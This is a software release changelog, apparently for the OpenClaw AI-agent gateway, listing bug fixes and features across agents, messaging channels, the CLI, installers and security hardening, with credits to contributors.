• Agents/subagents: keep Codex persona and user workspace files turn-scoped so native Codex subagents inherit only shared tool guidance by default. (#85811) Thanks @lastguru-net.
• CLI/skills: show an all-ready note with next-step commands when skill setup has no missing dependencies to install. (#85032) Thanks @aniruddhaadak80.
• Microsoft Foundry: route DeepSeek V4 Pro and Flash models through the Foundry Responses API while keeping older DeepSeek models on their existing path. (#85549) Thanks @roslinmahmud.
• Status/usage: show configured cost estimates for AWS SDK models in full usage output while keeping token-only usage replies cost-free. (#85619) Thanks @ItsOtherMauridian.
• Agents/OpenAI Responses: retry non-visible reasoning-only turns for OpenAI Responses API families instead of treating them as empty failed turns. (#85603) Thanks @SebTardif.
• Directive tags: preserve message and content-part object identity when display stripping makes no directive-tag changes. (#85682) Thanks @willamhou.
• Telegram: send local path/filePath and structured attachment media from sendMessage actions instead of dropping them or sending text-only messages. (#85219) Thanks @keshavbotagent.
• Sessions/status: show the estimated context budget when fresh provider usage is unavailable and clear stale estimates across session resets and compaction boundaries. (#84830) Thanks @giodl73-repo.
• Gateway/config: pin relative OPENCLAW_STATE_DIR overrides to an absolute path at startup so later working-directory changes cannot retarget gateway state. (#52264) Thanks @PerfectPan.
• Checks/Parallels: make changed-lane scripts, shrinkwrap generation, and Parallels package smoke host commands run through native Windows-safe paths and npm/pnpm shims.
• Release/package: run npm release, prepublish, and postpublish verification through Windows-safe npm command shims so native Windows checks can execute npm.cmd instead of treating it as a binary.
• Agents/harness: pass CLI runtime aliases through harness selection so provider-owned CLI aliases no longer get rejected before reaching the right runtime. (#85631) Thanks @potterdigital.
• Secrets: show the irreversible apply warning after interactive secrets configure confirmation so confirmed migrations still get the final safety prompt. (#85638) Thanks @alkor2000.
• Agents/CLI output: ignore cumulative Claude stream-json result usage when assistant usage events are present, preventing inflated cache-read accounting. (#85625) Thanks @zhouhe-xydt.
• CLI: keep waitForever() alive by leaving its keep-alive interval ref'd so the public helper no longer exits immediately with Node's unsettled-await code. (#85694) Thanks @m1qaweb.
• Agents/bootstrap: guard bootstrap name checks against missing file names so malformed bootstrap entries warn and truncate instead of crashing. Fixes #85523. (#85615) Thanks @zhouhe-xydt.
• CLI/tasks: reject partially numeric openclaw tasks audit --limit values so audit limits must be real positive integers instead of accepting strings like 5abc. (#84901) Thanks @jbetala7.
• Status/diagnostics: bound deep Docker audit probes so openclaw status --deep reports slow container checks instead of hanging behind unbounded inspection. (#85476) Thanks @giodl73-repo.
• Providers/Anthropic: migrate 1M context handling to GA-capable Claude 4.x models by sizing eligible models at 1M without the retired context-1m-2025-08-07 beta, ignoring that retired beta in older configs, and preserving OAuth-required Anthropic beta headers. (#45613) Thanks @haoyu-haoyu.
• Cron/Telegram: parse forum-topic delivery targets through the Telegram plugin instead of cron core, including :topic: and :topicId forms for announce delivery. Thanks @etticat.
• Twitch: keep stale message-handler cleanup callbacks from removing newer handler registrations for the same account, preserving inbound message delivery after reconnects. Fixes #83888. (#85425) Thanks @alkor2000.
• Control UI/chat: keep light-mode model, thinking, config, and agents select arrows visible without tiling background icons. Fixes #85713. Thanks @Linux2010.
• Memory/LanceDB: expose public memory artifacts through the active memory provider bridge so memory-wiki imports durable memory files, daily notes, dream reports, and event logs without depending on memory-core internals. Fixes #83604. (#85060) Thanks @brokemac79.
• Crabbox: keep AWS hydration compatible with local Actions replay by inlining the hydrate workflow's Node/pnpm setup instead of invoking repo-local composite actions.
• Agents/subagents: simplify native sub-agent completion handoff so children report their latest visible assistant result to the requester without using message, while keeping parent-owned message-tool delivery policy intact. Fixes #85070. (#85089) Thanks @brokemac79.
• Docker setup: stop printing the Gateway bearer token in setup logs and printed follow-up commands.
• Gateway: defer channel account startup work until HTTP readiness and remove startup model prewarm, avoiding startup event-loop stalls and timer-delay warnings.
• Models/perf: reuse plugin metadata during models.json planning, keep bundled catalog augmentation manifest/static, and use static provider catalogs for metadata-only startup discovery so provider model normalization, auth discovery, and Gateway startup metadata do not reload broad plugin runtimes.
• Agents: let embedded compaction fallback retries proceed when PI-compatible candidates do not need agent harness plugin preparation.
• Agents/tools: honor configured custom provider API keys when deciding whether media, image-generation, video-generation, music-generation, and PDF tools are available. (#85570)
• StepFun: stop advertising stale generic API key auth choices so onboarding only offers runtime-backed Standard and Step Plan choices.
• Diagnostics: keep OpenTelemetry log bodies behind explicit content capture and scrub scoped agent-session keys from OpenTelemetry and Prometheus labels while preserving bounded queue-lane prefixes.
• Windows installer: fail Git checkout installs when pnpm install or pnpm build fails instead of writing a wrapper to a missing CLI build.
• Sessions: surface previous-transcript archive failures during /new rotation so disk rename errors are logged instead of silently hiding stranded transcript files. Fixes #81984. (#85586, from #82081) Thanks @0xghost42.
• TUI/agents: mirror internal-ui message-tool replies into final chat output so message-tool-only agents remain visible in openclaw tui. Fixes #85538. Thanks @danpolasek.
• Gateway/TUI: preserve source-reply metadata through reply normalization and emit message-tool-only agent replies over the live chat stream so openclaw tui renders Codex replies without waiting for a history refresh. Thanks @shakkernerd.
• Codex/TUI: keep long source-reply runs alive after Codex reasoning completes so delayed visible message calls can still reach openclaw tui. Thanks @shakkernerd.
• TUI: keep quiet active runs busy after the response watchdog notice instead of reopening the prompt and encouraging duplicate submissions while the backend turn is still running. Thanks @shakkernerd.
• Agents: preserve the latest assistant thinking blocks while stripping invalid replay signatures from older turns, and retry Anthropic thinking failures without thinking replay. Fixes #85557. Thanks @bryanbaer.
• Agents: keep parallel OpenAI-compatible tool-call deltas in separate argument buffers so interleaved tool calls no longer corrupt streamed arguments. (#82263) Thanks @luna-system.
• Telegram: avoid false pairing prompts after transient pairing-store read failures while preserving configured allowFrom and per-DM pairing authorization. (#85555)
• Memory/doctor: report missing or unusable QMD workspace directories as workspace failures instead of generic binary failures. (#63167) Thanks @sercada.
• Debug proxy: record CONNECT client-socket errors and destroy the paired upstream socket so abrupt client disconnects no longer leak tunnel resources. (#82444) Thanks @SebTardif.
• Diffs: continue hydrating later diff cards when one card fails so a single broken card no longer blanks the whole diff viewer. (#84775) Thanks @cosmopolitan033.
• Mac app: use the native settings sidebar window chrome so the sidebar toggle stays on the left and content no longer clips under oversized titlebar padding.
• QA-Lab/Codex: bundle auth/plugin fixture imports for flow scenarios and let terminal async media tools end Codex app-server turns without timing out. (#80397, refs #80323) Thanks @100yenadmin.
• WhatsApp: persist inbound message delivery state through plugin state before dispatch and delay read receipts until handler completion, so retryable failures can redeliver without adding a plugin-local disk cache. Thanks @samzong.
• Gateway/agents: preserve fresh session overrides and metadata when stale cached agent-session entries race with store updates, so subagent model/provider overrides and routing policy survive concurrent writes. (#19328) Thanks @CodeReclaimers.
• Control UI/chat: keep chat session search inline with the session selector so the header no longer shows a duplicate standalone search row.
• Control UI/chat: collapse focused-mode header chrome and suppress hidden-header scroll updates so focus mode no longer jumps while scrolling. Thanks @amknight.
• Codex app-server: restart the native app-server and retry once when server-side compaction times out, so preflight compaction stalls recover instead of failing every dispatch. (#85500)
• Restore Control UI gateway token pairing [AI]. (#85459) Thanks @pgondhi987.
• OpenAI video: honor configured provider request private-network opt-in for local/custom video endpoints so explicitly trusted mock and self-hosted providers are not blocked. Thanks @shakkernerd.
• OpenAI video: send uploaded video edit requests to the documented /videos/edits endpoint with a video file instead of posting MP4 references to /videos. Thanks @shakkernerd.
• Agents/channels: preserve message-tool delivery evidence through gateway agent completion handoffs so successful generated media sends are not followed by false failure messages. Thanks @shakkernerd.
• CLI/update: repair managed npm plugin openclaw peer links during post-core convergence and reject stale or wrong-target peer links before restart. (#83794) Thanks @fuller-stack-dev.
• CLI/agents: default new omitted-account bindings to all accounts when the channel has multiple configured accounts, and clarify account-scope docs. (#49769) Thanks @Gcaufy.
• Codex app-server: let authorized /codex control commands such as /codex detach escape plugin-owned conversation bindings while keeping unknown or unauthorized slash text routed to the bound plugin. Fixes #85157. (#85188) Thanks @TurboTheTurtle.
• Auto-reply/models: keep /models browse replies fast by sharing the bounded read-only catalog path with Gateway model listing. (#84735) Thanks @safrano9999.
• Browser/Doctor: read macOS Chrome app bundle versions from Info.plist before spawning Chrome and extend the fallback version probe timeout, avoiding false cold-cache warnings from Gatekeeper latency. Fixes #85418. Thanks @davidcittadini.
• Codex app-server: disable native Code Mode when the effective exec host is node and keep OpenClaw exec/process available, so /exec host=node routes shell commands through the selected node instead of the gateway. Fixes #85012. (#85090) Thanks @sahilsatralkar.
• Agents: bound embedded auto-compaction session write-lock watchdogs to the compaction timeout instead of the full run timeout, so stuck compaction cannot hold the live session lock for the whole run window. (#84949) Thanks @luoyanglang.
• Gateway/agents: return phase-aware agent.wait timeout attribution and only cool auth profiles on provider-started timeouts. Refs #65504. Thanks @100yenadmin.
• Gateway/systemd: launch managed update handoff helpers in a transient user scope so systemd-supervised Update Now flows survive the gateway unit restart. Fixes #84068.
• Gateway: defer provider auth-state prewarm until after startup readiness so early gateway tool/session requests are not blocked by provider auth discovery. (#85272) Thanks @dutifulbob.
• Gateway/models: coalesce provider auth-state rewarms after auth-profile failures and log event-loop delay for warm/rewarm work, so provider auth bursts no longer stack full auth sweeps behind channel replies.
• Gateway/models: stop cancelled provider auth-state prewarms from continuing full provider sweeps, so reload and auth-failure bursts no longer keep startup busy.
• Agents/Codex: show the first plan update as a transient chat status notice without counting it as final assistant content.
• CLI/update: walk the macOS process ancestry and honor the inherited Gateway runtime PID before package updates stop the managed Gateway service, so nested in-band updater children can refuse instead of killing the LaunchAgent-supervised Gateway that owns them. Fixes #85120.
• Gateway/LaunchAgent: wait for launchd reload bootout to finish and fall back to kickstart when bootstrap races, so reload handoff does not leave the service deregistered. Fixes #84630. (#84641) Thanks @NianJiuZst.
• Gateway/LaunchAgent: treat a concurrent launchd bootstrap as a successful restart when the service is already loaded, avoiding false macOS Gateway restart failures. Fixes #84721. (#84722) Thanks @googlerest.
• Gateway/service: include the active openclaw command bin directory in managed service PATH generation and doctor audit expectations for npm-global macOS installs. Fixes #84201. (#84475) Thanks @jbetala7.
• Control UI/chat: disable the thinking selector for known non-reasoning models instead of showing duplicate Off choices. Fixes #84069. Thanks @DrippingMellow.
• Memory: expand ~ in configured extra memory paths before resolving them, so home-relative folders are not treated as workspace-relative. Fixes #58026. Thanks @stadman.
• Skills: treat openclaw.os: macos as Darwin when checking skill requirements, so macOS-only skills no longer report as missing on macOS hosts. Fixes #61338. Thanks @Jessecq1995.
• Control UI/logs: strip ANSI escape sequences from displayed Gateway log messages so color codes no longer appear as raw text. Fixes #64399. Thanks @guguangxin-eng.
• Docker: pre-create the workspace and auth-profile config mount points with node ownership so first-run named volumes do not start root-owned. Fixes #85076. Thanks @Noerr.
• Telegram: pass configured markdown table mode through outbound markdown chunking so chunked sends render tables consistently. Fixes #85085. Thanks @ShuaiHui.
• Diagnostics/OTel: drop snake_case diagnostic id attributes alongside camelCase ids so exported telemetry cannot leak run, session, message, chat, trace, or tool-call identifiers. (#72645) Thanks @Lion0710.
• CLI/update: preserve managed Gateway service environment during package cutovers so macOS LaunchAgent repair/restart reads the pre-update service state instead of caller shell state. (#83026)
• Agents/providers: honor per-model api and baseUrl overrides in custom provider auth hooks and transport selection. Fixes #80487. (#80488) Thanks @huveewomg.
• Gateway/restart: eager-load the lifecycle runtime before in-place upgrade signal handling so package replacement does not deadlock restart imports. (#84890) Thanks @myps6415.
• CLI/update: start managed Gateway update handoff helpers from a stable existing directory and tolerate deleted cwd/package roots during macOS LaunchAgent handoff. Fixes #83808. (#83875) Thanks @jason-allen-oneal.
• Skills: watch each shared skill directory once across agent workspaces instead of once per agent, preventing file-descriptor exhaustion (EMFILE) that disposed bundle-mcp processes and stalled sessions on multi-agent gateways. Fixes #84968. (#85130) Thanks @openperf.
• Release/security: keep generated npm shrinkwrap package versions inside the pnpm lock graph so published package locks cannot bypass pnpm dependency age and override policy.
• Cron: honor cron.retry.retryOn: ["network"] for common network error codes such as EAI_AGAIN, EHOSTUNREACH, and ENETUNREACH.
• Gateway chat: broadcast returned agent-run error payloads after an agent starts so ACP/WebChat clients receive terminal idle-timeout errors. Fixes #84945.
• Gateway chat display: preserve OpenAI-compatible prompt_tokens, completion_tokens, and total_tokens usage fields in sanitized chat history so llama.cpp sessions keep context counts. Fixes #77992. Thanks @MarTT79.
• Dashboard/CLI: allow macOS browser launching through open even when SSH environment variables are present, while preserving Linux SSH no-display protection. Fixes #67088. Thanks @theglove44.
• Codex app-server: keep native web search observations out of mirrored chat transcripts while preserving available action query metadata in tool progress telemetry. Fixes #85109. Thanks @ugitmebaby.
• OpenCode Go: strip unsupported Kimi reasoning replay fields before provider requests so repeated kimi-k2.6 turns do not fail schema validation. Fixes #83812. Thanks @Sleeck.
• Browser/CDP: add a WSL2 portproxy self-loop hint when Chrome DevTools endpoints accept connections but return an empty HTTP reply. Fixes #59209. Thanks @Owlock.
• Agents/tools: add bounded tool-policy audit log entries that identify which allow/deny rule removed tools or blocked a sandboxed tool call. Fixes #55801. Thanks @justinjkline.
• CLI/logs: read implicit local Gateway logs through the passive backend client path so openclaw logs --follow does not register as a paired device, and use the active Linux systemd journal instead of stale configured-file fallbacks when live local RPC is unavailable. Fixes #83656 and #66841.
• Agents/OpenAI: preserve structured provider error code, type, and redacted body metadata on boundary-aware transport failures.
• Doctor/Codex: point native Codex asset warnings at the canonical openclaw migrate plan codex preview command. Fixes #84948. Thanks @markoa.
• CLI/models: make capability model auth logout --agent remove auth profiles from the selected non-default agent store. Fixes #85092. Thanks @islandpreneur007.
• Gateway/models: reuse prepared provider auth metadata during model-listing auth checks so repeated lookups avoid broad plugin discovery while preserving synthetic local auth.
• CLI/status: suppress systemd user-service setup hints when openclaw status --deep can already reach a running Gateway RPC service. Fixes #85094. Thanks @islandpreneur007.
• CLI/devices: recover local approval when a same-device repair request replaces the request ID being approved.
• CLI/agents: retry transient normal-close Gateway handshakes before falling back to embedded openclaw agent execution.
• CLI/update: keep managed Gateway service stop/restart status lines out of openclaw update --json stdout so package-update automation can parse the JSON payload.
• Plugins: resolve OpenClaw plugin SDK subpaths for native external plugin runtimes without mutating package installs or broadening process-wide module resolution.
• Agents/OpenAI: preserve Responses and Chat Completions reasoning_tokens usage metadata without double-counting it in aggregate output tokens. (#85319)
• Control UI/chat: convert pasted data:image/...;base64,... clipboard text into an image attachment instead of dumping the payload into the composer. Fixes #62604. Thanks @cpwilhelmi.
• Providers/Gemini: strip fractional seconds from web-search time range filters so Gemini accepts freshness-bound search requests. (#85071) Thanks @Noerr.
• OpenAI Codex: preserve image input support for sparse openai-codex/gpt-5.5 catalog rows. (#85095) Thanks @sercada.
• CLI/models: add a piped or pasted API-key path for OpenAI Codex auth and warn when API keys are pasted into token-mode auth. (#85533) Thanks @joshavant.
• Telegram: dead-letter missing-harness isolated ingress failures so a poisoned spooled update no longer blocks later same-lane messages. Fixes #85470. (#85605) Thanks @joshavant.
• Plugins/discovery: strip -plugin package suffixes when deriving plugin id hints so package names line up with manifest ids. (#85170) Thanks @JulyanXu.
• Tlon: stop advertising a non-existent agent tool contract in the plugin manifest.
• Telegram: preserve fenced code block languages through Markdown rendering so Telegram receives language-* code classes. (#85209) Thanks @leno23.
• Windows installer: run npm and Corepack command shims from a Windows-local directory so installs launched from WSL2 UNC paths do not fail before OpenClaw is installed.
• Windows updates: roll back git-backed updates to the previous checkout when dependency install, build, UI build, or doctor repair fails.
• Windows installer: persist user-local portable Git on PATH and activate the repo-pinned pnpm version for git-backed installs and updates.
• Windows installer: bootstrap a user-local portable Node.js when native Windows has no Node and no winget, Chocolatey, or Scoop, so first-run installs can continue on raw hosts.
• Windows installer: extract the downloaded portable Node.js directory with native tar before falling back to .NET zip extraction, avoiding PowerShell 5.1 archive and path-length failures.
• fix(integrations): enforce channel read target allowlists [AI]. (#84982) Thanks @pgondhi987.
• Agents/heartbeat: route single-owner session.dmScope=main direct-message exec and cron event wakes back to the agent main session so async completions no longer strand context in orphan direct-DM queues. Fixes #71581. (#83743) Thanks @Kaspre.
• Agents/code-mode: expose outer code-mode exec source through the command hook alias with toolKind/toolInputKind discriminators so exec-shaped policies can distinguish code-mode cells. (#83483) Thanks @Kaspre.
• Agents/code mode: return structured timeout and runtime-unavailable error codes for known worker failures. Fixes #83389. (#83444) Thanks @Kaspre.
• QA-Lab: isolate multi-scenario suite workers when scenarios need startup config patches, preventing message-routing config from leaking into unrelated scenarios.
• QA-Lab: make the commitments heartbeat-target-none scenario request an immediate heartbeat instead of waiting for the next scheduled heartbeat.
• Codex/Plugin SDK: deliver Codex-native subagent completions through a generic harness task runtime so harness-backed plugins can mirror durable task lifecycle and completion delivery without Codex-specific SDK imports. (#83445) Thanks @bryanpearson.
• Gateway CLI: surface local post-challenge connect assembly failures immediately instead of waiting for the wrapper timeout. Fixes #68944. (#85253) Thanks @samzong.
• Messages: strip unsupported web-search citation control markers from outbound replies before they reach WebChat or external channels. Fixes #85193. (#85204) Thanks @neeravmakwana.
• Agents/exec: treat denied exec approvals as terminal instead of feeding them back into agent follow-up work, and recognize Chinese stop phrases in abort handling. Fixes #69386. (#85194) Thanks @samzong.
• CLI/agents: abort accepted Gateway-backed openclaw agent runs on SIGINT/SIGTERM so cron and supervisor timeouts do not leave remote agent work alive. Fixes #71710. (#84381) Thanks @Kaspre.
• Codex app-server: retry replay-safe stdio client-close turns once using structured failure metadata, while surfacing idle turn/completed timeouts instead of blindly replaying active shared-server turns. Thanks @VACInc.
• Codex app-server: reject command overrides that embed Node or package-manager arguments and point users to appServer.args, so Windows startup avoids shell parsing failures. (#84417) Thanks @TurboTheTurtle.
• Agents/Copilot: drop unsafe GitHub Copilot Responses reasoning replay items before send so Telegram direct sessions no longer fail on overlong replay IDs. Fixes #85197. (#85198) Thanks @galiniliev.
• UI: add accessible tooltips to the topbar color-mode buttons so System, Light, and Dark choices are labeled on hover and focus. (#85227) Thanks @amknight.
• fix: constrain Windows task script names [AI]. (#85064) Thanks @pgondhi987.
• Control UI: keep the chat session picker from hiding older or cross-agent configured conversations while preserving the bounded configured-agent refresh. (#85211) Thanks @amknight.
• Agents/Anthropic: preserve unsafe integer tool-call input values in streamed Anthropic tool-use JSON, preventing Discord-style IDs from being rounded before dispatch. Fixes #47229. (#83063) Thanks @leno23.
• Agents/Codex: estimate tool-heavy prompt pressure at the LLM boundary before provider submission, so persistent sessions compact before overflowing context windows. (#85541) Thanks @fuller-stack-dev and @joshavant.
• Agents/hooks: wait for local one-shot CLI and Codex agent_end plugin hooks before process cleanup so terminal observability flushes reliably. (#85007)
• Providers/Google: preserve Gemini 3 cron thinkingDefault: "low" when stale catalog metadata says reasoning:false, so scheduled runs keep provider-supported thinking instead of downgrading to off. (#85185) Thanks @neeravmakwana.
• CLI/agents: allow openclaw agent --session-key to target explicit session keys, including agent-scoped legacy keys. (#85121) Thanks @Kaspre.
• Auto-reply/ACP: wait for same-channel block reply delivery before starting tool work, while still honoring ACP dispatch aborts so stopped turns do not wait on slow channel sends. (#83722) Thanks @IWhatsskill.
• Codex/ACP: mark required child-run completions that only report progress, omit a final deliverable, or fail requester delivery as blocked while preserving real final reports. (#85110) Thanks @IWhatsskill.
• Channels: treat bare abort messages such as stop, abort, and wait as immediate control commands in inbound debounce paths so stop requests are not delayed behind pending message coalescing. (#83348) Thanks @IWhatsskill.
• Channels/message tool: resolve configured external channel plugins during in-agent channel selection, so openclaw agent --local message-tool sends no longer report an available channel as unavailable. (#85022) Thanks @Kaspre.
• Agents/heartbeat: honor group/channel message_tool visible-reply policy and model-specific Codex runtime config for scheduled heartbeat runs, so failed internal tool output stays private. Fixes #85310. (#85357) Thanks @neeravmakwana.
• Gateway/ACP: close child ACP sessions spawned via sessions_spawn when their parent session is reset or deleted, instead of leaving orphaned claude-agent-acp processes that accumulate and exhaust memory. Fixes #68916. (#85190) Thanks @openperf.
• Codex app-server: block native execution paths when OpenClaw exec resolves to a node host while preserving the first-party CLI node binding path. Fixes #85012. (#85534) Thanks @joshavant.
• Diagnostics: bound cleanup timeout detail logs, emit drop summaries when async diagnostic bursts exceed the queue cap, and surface async queue drops through diagnostic telemetry.
• Agents/subagents: surface blocked child-run completions as errors instead of successful subagent finishes. (#80886) Thanks @TurboTheTurtle.
• Context engines: fail closed with a descriptive error when the selected agent runtime cannot satisfy declared context-engine host requirements.
• Agents/Pi: treat accepted embedded sessions_spawn child-session handoffs as terminal progress so parent turns no longer report false non-deliverable failures. (#85054) Thanks @samzong.
• CLI/models: resolve openclaw models set aliases from the runtime config while keeping authored aliases ahead of runtime-only defaults. (#83262) Thanks @IWhatsskill.
• Doctor: show personal Codex CLI asset notices as info instead of warnings. Fixes #84859.
• WhatsApp: update Baileys to 7.0.0-rc13 and drop the obsolete logger type patch.
• CLI/update: pre-pack GitHub/git package update targets before the staged npm install, restoring openclaw update --tag main for one-off package updates. (#81296) Thanks @fuller-stack-dev.
• Gateway: mirror successful same-source message-tool sends into session transcripts so delivered replies stay in later history/context. (#84837) Thanks @iFiras-Max1.
• Media generation: keep image, music, and video completion delivery from duplicating or losing task ownership when generated media finishes through active session replies. (#84006) Thanks @fuller-stack-dev.
• CLI/doctor: remove stale bundled plugin load paths from old versioned OpenClaw package roots after pnpm/npm upgrades. Fixes #58626. Thanks @solink7.
• Infra/json: retry transient File changed during read races while loading JSON state so config and state reads recover instead of failing the turn. (#84285)
• Plugins/providers: fail closed for workspace provider plugins during setup-mode discovery unless explicitly trusted, preventing untrusted workspace plugin code from running during provider setup. (#81069) Thanks @mmaps.
• Providers/Ollama: resolve configured Ollama Cloud OLLAMA_API_KEY markers to the real discovery key so cloud provider entries keep authenticated model catalog access. (#85037)
• Discord: keep persistent component registry fallback warnings actionable by forwarding structured error and cause metadata through the runtime logger. Fixes #84185. (#84190) Thanks @100menotu001.
• Gateway/sessions: preserve compatible session auth profile overrides when switching models within the same provider, including provider-auth aliases. Fixes #81837. (#81886) Thanks @TurboTheTurtle.
• Gateway/status: surface inbound delivery telemetry counters and transport-liveness warnings in openclaw status --all. Fixes #49577. (#72724)
• Docker: prune package-excluded plugin source workspaces and dependency closures so runtime images do not keep packages for plugins that were not opted in.
• Providers/Ollama: treat Docker/OrbStack host aliases as local Ollama endpoints so ollama-local marker auth works when OpenClaw runs inside a VM/container and Ollama runs on the host. Fixes #84875.
• QA-Lab: keep explicitly searchable/deferred OpenClaw dynamic tool rows report-only by default so tool-coverage gates do not treat mock discovery gaps as hard product failures. (#80319) Thanks @100yenadmin.
• Agents/config: keep non-Google provider model refs from being rewritten by Google Gemini preview-id normalization. (#84762) Thanks @zhangguiping-xydt.
• Installer: require a real controlling terminal before launching onboarding so headless curl | bash installs finish cleanly after installing the CLI.
• Agents/Codex: promote a completed final assistant response when a prompt timeout races Codex app-server completion instead of returning an empty timeout envelope. Refs #84516.
• Codex app-server: keep interrupted turn statuses from being treated as OpenClaw aborts by themselves, so tool-only turns remain eligible for no-visible-answer recovery. Fixes #84492.
• Agents: cap heartbeat model bleed context hints by the stored session window when runtime model metadata is unavailable, so overflow recovery advice does not suggest a larger window than the active session actually has.
• Control UI/Web Push: use https://openclaw.ai as the generated default VAPID subject instead of the old localhost mailbox so iOS PWA push setup uses an Apple-acceptable subject when OPENCLAW_VAPID_SUBJECT is unset. Fixes #83134. (#83317) Thanks @IWhatsskill.
• Control UI: distinguish inherited thinking-off settings from explicit Off selections so the thinking selector no longer shows two identical Off rows. (#85223) Thanks @amknight.
• Agents/Pi: keep embedded session transcript writes from tripping false takeover detection after packaged npm onboarding agent turns.
• Codex/TUI: surface Codex-native post-turn compaction failures instead of continuing uncompacted, and keep successful native compaction serialized before local idle/next-turn handling. Fixes #84305. (#85160) Thanks @joshavant.
• Memory/search: stop recall tracking from writing dreaming side-effect artifacts when dreaming.enabled=false, while preserving normal search results. Fixes #84436. (#84444) Thanks @NianJiuZst.
• Diffs: render viewer toolbar icons from a closed icon-name map instead of HTML strings, removing the toolbar icon XSS sink. (#83955) Thanks @tanshanshan.
• QA: keep pnpm qa:e2e self-check runs inside the private QA runtime envelope even when inherited shell env disables bundled plugins.
• fix(config): validate browser sandbox bind sources [AI]. (#84799) Thanks @pgondhi987.
• doctor: constrain legacy plugin cleanup paths [AI]. (#84801) Thanks @pgondhi987.
• Update/doctor: prune stale local bundled plugin install records that point at old compiled bundled output so current bundled plugin schemas win after upgrade. (#84863) Thanks @fuller-stack-dev.
• Providers/Ollama: preserve native Ollama tool-call IDs across assistant replay so Gemini over Ollama Cloud can keep its hidden function-call thought-signature handle.
• Discord: keep session recovery and /stop abort ownership on the source dispatch lane while bound ACP turns continue routing to their target session, so stalled pre-run work and late replies are cleared instead of leaking after stop. Fixes #84477. (#85100) Thanks @joshavant.
• Discord/voice-call: keep forced realtime voice consult diagnostics in debug logs instead of agent prompts, so callers do not hear OpenClaw policy text when the provider misses openclaw_agent_consult. (#84411) Thanks @fuller-stack-dev.
• Codex app-server: mark missing turn completion after observed execution as replay-unsafe and release the session so follow-up turns can run. Fixes #84076. (#85107) Thanks @joshavant.
• Codex app-server: give visible message dynamic tool sends a longer timeout budget so slow channel delivery can return its own result or error instead of hitting the 30-second Codex wrapper. (#85216) Thanks @amknight.
• Codex app-server: add a dedicated post-tool raw assistant completion idle timeout config so trusted heavy turns can wait longer after tool handoff without weakening final assistant release.
• Matrix: keep explicitly configured two-person rooms on the room route before stale m.direct or strict two-member DM fallback can bypass mention gating. Fixes #85017. (#85137) Thanks @joshavant.
• Agents/subagents: require explicit subagent allowlist targets to be configured agents so stale deleted-agent ids are omitted from agents_list and rejected by sessions_spawn. Fixes #84811. (#85154) Thanks @joshavant.
• PDF tool: time out idle remote PDF body reads after 120 seconds so stalled remote documents return an error instead of wedging the session. Fixes #68649. (#84768) Thanks @luoyanglang.
• Diagnostics/OpenTelemetry plugin: suppress handled OTLP exporter promise rejections so collector shutdowns no longer crash the Gateway. (#81085) Thanks @luoyanglang.
• Agents/exec: omit raw command text and env values from denied exec failure logs while keeping safe correlation metadata. Fixes #85049. (#85140) Thanks @joshavant.
• Media-understanding: restore the 4096-token default for image descriptions so reasoning-capable vision models no longer truncate before returning text, while preserving smaller model caps. (#84932) Thanks @scotthuang.
• Media/audio: skip empty structured sherpa-onnx transcripts instead of treating the raw JSON payload as spoken text. (#84667) Thanks @TurboTheTurtle.
• Agents/exec: preserve inherited XDG base-directory environment values for subprocesses while still rejecting agent-supplied XDG overrides. Fixes #84854. (#85139) Thanks @joshavant.
• Node/Linux: keep OPENCLAW_GATEWAY_TOKEN out of generated systemd unit files by writing node service token values to a node-specific env file. (#84408)
• Memory-core/dreaming: reuse stable narrative subagent session keys per workspace and phase while keeping per-run idempotency and bounded cleanup, so stale dreaming-narrative-* sessions do not accumulate. Fixes #68252, #69187, and #70402. (#70464) Thanks @chiyouYCH.
• Trajectory/support: tolerate partial skill snapshot entries when building support metadata so rejected skill path scans no longer abort trajectory capture. (#71185) Thanks @lukeboyett.
• TUI: coalesce repeated idle Esc abort notices into a single no active run xN system row instead of appending duplicate rows.
• Telegram: honor channels.telegram.pollingStallThresholdMs in the default isolated polling path, restarting silent workers instead of leaving inbound updates wedged. Fixes #83950. (#84861) Thanks @joshavant.
• Telegram: dedupe replayed message dispatches by Telegram chat/message identity so isolated-ingress replays do not trigger duplicate model dispatches. Fixes #84886. (#85208) Thanks @joshavant.
• Slack: suppress reasoning payloads before reply delivery and dispatch accounting, so Slack monitor, slash-command, fallback, and direct reply paths do not leak model reasoning. Fixes #84319. (#84322) Thanks @ffluk3 and @joshavant.
• Slack: deliver native plugin approval prompts and updates when Slack native approvals are enabled, while keeping plugin approval authorization separate from exec approvers.
• Slack: keep native plugin approval prompts in the originating app conversation thread when the live Slack turn source is a D... conversation.
• Agents/Pi: disable the embedded pi-coding-agent runtime auto-retry so OpenClaw's own retry and failover loop does not replay failed tool calls through a nested SDK retry. Fixes #73781. (#74434) Thanks @yelog.
• CLI/perf: keep setup --help, onboard --help, and configure --help out of the full wizard runtime while preserving the existing help output. (#84488) Thanks @frankekn.
• CLI/perf: keep agents --help out of agents action/runtime imports so help, completion, and command discovery paths avoid loading the full agents runtime. (#84483) Thanks @frankekn.
• CLI/perf: keep secrets --help and nodes --help on the precomputed help path so parent help avoids loading action-heavy command runtime modules. (#84818) Thanks @frankekn.
• CLI/perf: serve doctor, gateway, models, and plugins parent help from startup metadata so common subcommand help avoids full CLI program construction. (#84786) Thanks @frankekn.
• Codex/Lossless: keep context-engine history on the canonical run session when Telegram DMs use per-peer runtime policy keys. Fixes #84936. (#84954) Thanks @neeravmakwana.
• Codex: keep heartbeat response tool schemas durable without exposing dynamic tools disabled by turn policy, so heartbeat wakeups can reuse threads while scoped tool allowlists stay enforced. (#84681) Thanks @jalehman.
• Auth/OAuth: skip the refresh adapter when a stored OAuth credential has no refresh token so agent turns fail fast on missing-key instead of waiting on the 120s refresh timeout. Thanks @RomneyDa.
• Auth/Codex: load legacy OAuth sidecar credentials in the embedded runner's secrets-runtime auth loaders so Telegram replies, cron-triggered turns, and other isolated sub-agent lanes can reach the existing #83312 refresh-and-rewrite migration instead of failing with No API key found for provider "openai-codex" until the user runs openclaw doctor. Thanks @Totalsolutionsync and @RomneyDa.
• Codex/failover: classify deactivated_workspace as a permanent auth failure so configured fallback models can advance when a Codex workspace is deactivated. (#55893) Thanks @litang9.
• Exec: keep configured tools.exec.pathPrepend entries ahead of user shell startup PATH changes on POSIX gateway runs. (#81403) Thanks @medns.
• Gateway/sessions: allow shared-secret bearer callers to read and stream session history without an explicit scope header. (#81815) Thanks @medns.
• Agents/embedded runner: classify HTML auth provider responses as auth_html and return a re-authentication hint instead of the CDN-blocked copy that upstream_html returns. Cloudflare Access login pages, nginx basic-auth challenges, and gateway login walls all produce HTML auth bodies that were previously misdiagnosed as transient CDN blocks. (#79900) Thanks @martingarramon.
